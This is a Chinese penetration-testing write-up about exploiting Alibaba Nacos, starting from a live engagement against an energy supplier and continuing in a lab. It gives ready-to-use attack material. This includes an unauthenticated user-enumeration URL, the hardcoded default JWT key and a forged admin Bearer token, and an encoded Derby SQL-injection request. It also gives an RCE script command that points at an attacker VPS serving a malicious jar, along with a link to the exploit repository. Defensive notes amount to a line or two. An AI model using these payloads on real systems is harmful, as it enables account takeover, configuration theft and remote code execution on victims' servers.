实战攻防记录2-Nacos漏洞利用

前言

在对一家能源供应商的资产进行渗透测试时发现nacos指纹，后面通过nday打进系统，第一次在实战中碰到这个洞，那就专门学习和记录一下。

介绍

Nacos（Naming and Configuration Service）是阿里巴巴开源的动态服务发现、配置管理和服务治理平台，支持微服务架构中的服务注册与发现、统一配置中心及实时配置更新，具备高可用、多环境隔离、多语言支持和丰富的生态集成能力（如 Spring Cloud Alibaba、Dubbo 等），提供 Web 控制台和集群部署方案，适用于云原生应用，已成为 CNCF 孵化项目，是构建现代分布式系统的重要基础设施。

Nacos 开放的端口

Nacos部署需要开放以下端口以确保其正常运行：

主端口（HTTP端口）：默认为8848，用于客户端、控制台及OpenAPI的HTTP通信。这个端口是访问Nacos管理界面的主要入口。

客户端gRPC请求服务端端口：默认为9848，用于客户端向服务端发起gRPC连接和请求。Nacos 2.x版本默认使用了gRPC通信方式，这会增加9848（客户端gRPC请求服务端端口）和9849（服务端gRPC请求服务端端口）两个端口。

服务端gRPC请求服务端端口：默认为9849，用于服务间的数据同步和其他服务端之间的通信。

Jraft请求服务端端口：默认为7848，用于处理服务端间的Raft相关请求，比如集群管理中的选主和日志复制等。

指纹识别

fofa: app="NACOS"

我在实际项目中通过目录扫描发现的，因为目标系统未将nacos部署在8848而是直接443端口下，所以一些指纹识别工具并没发现

漏洞利用

工具打法

在识别出指纹后直接找个漏洞工具进行利用

发现是存在很多漏洞的

然后直接利用工具写入新的账号密码

最后成功登录

复现研究

nacos本身是具有很多漏洞的，难得遇到真实的环境，可以尝试在实战项目中把检测到的漏洞都自己打一遍

Nacos Default Auth Disabled (认证绕过) （CVE-2021-29441）

CVE-2021-29441 是 Nacos 的一个未授权访问漏洞，其原理是：在 Nacos 1.2.0 至 1.4.1 版本中，即使启用了认证，系统仍会因硬编码的 User-Agent: Nacos-Server 判断逻辑，绕过身份验证，允许攻击者直接访问 /nacos/v1/auth/users 等敏感接口，从而读取或创建用户、获取配置信息，甚至接管服务。

✅ 影响版本：Nacos ≤ 1.4.1（主要为 1.x 系列）
✅ 修复建议：升级至 1.4.2 或更高版本，并确保开启 nacos.core.auth.enabled=true。

未授权查看账号密码

/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate

未授权创建用户

未授权删除用户

默认jwt密钥-未授权访问

Nacos 使用硬编码的默认 JWT 密钥（SecretKey0123456789...），若未手动修改，攻击者可利用该密钥伪造任意用户（包括管理员）的合法身份令牌，在开启认证的情况下仍能绕过权限校验，实现未授权访问、创建用户、读取或篡改敏感配置，从而接管整个 Nacos 服务。

影响版本：0.1.0<=nacos<=2.2.0

nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789 # =后边的是默认的硬编码

漏洞利用不妨先用自己创建的用户test来看看这个accesstoken是怎么生成的

将登录后的token进行jwt解密

发现只需要用户名和时间戳和默认key即可

因为nacos存在默认用户nacos，那么可以借此伪造token

点击登录用户名和密码可以随便填写，在login接口的header添加下列参数

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc3MDkwMDU3NX0.vO04W-FqDkgkII28fVEayfZEiLW0mtVtPZSA8U7gcOY

成功接管

由于实际环境限制，只能打到这里，nacos还有几个RCE只能搭建漏洞环境复现了。

Nacos Hessian 反序列化 RCE

Nacos Hessian反序列化漏洞主要影响7848端口的Jraft服务，该端口用于处理集群模式下Raft协议的通信，由于服务在处理部分Jraft请求时使用Hessian传输协议进行反序列化且过滤不严，导致攻击者可构造恶意数据包实现远程代码执行（RCE）；在版本差异方面，Nacos 1.x在单机模式下默认不开放7848端口因此不受影响，但集群模式下仍会开放该端口而存在风险，Nacos 2.x则无论单机还是集群模式均默认开放7848端口，受影响范围更广；此外，当使用Docker部署时若未将7848端口映射到宿主机外部，该端口仅容器内部可访问，此时也不受此漏洞影响。

影响版本：1.4.0<=Nacos<1.4.6, 2.0.0<Nacos<2.2.3

环境搭建

3.X版本

项目地址：https://github.com/alibaba/nacos

环境要求（经本地验证）：

• Nacos 版本：3.2.0-SNAPSHOT
• JDK 版本：OpenJDK 17.0.18
• Maven 版本：3.9.9

checkstyle 插件 JDK 版本不兼容

建议将maven的启动环境配置java17

set JAVA_HOME=C:\path\to\jdk-17
set PATH=%JAVA_HOME%\bin;%PATH%

编译时跳过一切检查

mvn -Prelease-nacos -Dmaven.test.skip=true -Dcheckstyle.skip=true -Drat.skip=true -Djacoco.skip=true clean install -U

JWT Token 密钥配置需要配置32字节

java.lang.IllegalArgumentException: the length of secret key must great than or equal 32 bytes
And the secret key must be encoded by base64

Tomcat 配置server.tomcat.max-http-form-post-size

# Tomcat 配置（Nacos 3.x 必需）
server.tomcat.max-http-form-post-size=10485760
server.tomcat.max-http-post-size=10485760

最后成功搭建

2.X版本（漏洞版本）

直接下载这个项目：https://github.com/alibaba/nacos/releases/tag/2.1.1

运行以下命令即可

startup.cmd -m standalone

漏洞利用

不出网环境可以直接打内存马

Nacos Derby sql 注入

Nacos 是一款动态服务发现和配置管理平台，默认在 standalone 模式下使用内置的 Derby 数据库（轻量级嵌入式数据库）。其运维接口 /nacos/v1/cs/ops/derby 和 /nacos/v1/cs/ops/data/removal 用于执行 Derby 数据库的 SQL 操作，但存在未授权访问和 SQL 注入风险。

影响版本：<2.4.0

基础poc

GET /nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73 HTTP/1.1
Host: {{target}}

Nacos 基于Derby SQL注入漏洞的RCE

Nacos Derby数据库接口/nacos/v1/cs/ops/derby 和 /nacos/v1/cs/ops/data/removal 存在条件竞争漏洞，攻击者可借此接口执行恶意SQL，加载恶意jar并注册函数，在未授权条件下利用 derby sql 注入漏洞（CVE-2021-29442）调用恶意函数来执行恶意代码。

影响版本：<2.4.0

漏洞利用

poc下载：https://github.com/FFR66/Nacos_Rce

先vps起一个service.py用于启动文件服务

然后在本机起一个Nacos_Rce.py用于进行连续的SQL注入，爆破上传生成的临时文件名，进行命令执行。-u 后面接目标端口和ip，-c 后面接要执行的命令。

python Nacos_Rce.py -t 47.96.99.165 -p 5000 -u http://localhost:8848/nacos/#/login -c whoami

当系统为未授权访问时，可直接触发RCE。

成功实现RCE